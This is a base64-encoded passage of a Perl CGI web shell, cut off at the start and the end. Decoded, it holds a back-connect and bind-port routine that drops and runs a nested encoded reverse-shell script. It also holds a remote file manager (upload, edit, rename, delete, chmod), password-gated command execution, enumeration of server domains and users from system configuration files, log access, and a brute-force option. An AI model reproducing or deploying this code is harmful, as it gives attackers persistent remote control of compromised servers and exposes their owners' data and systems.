cGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7Cg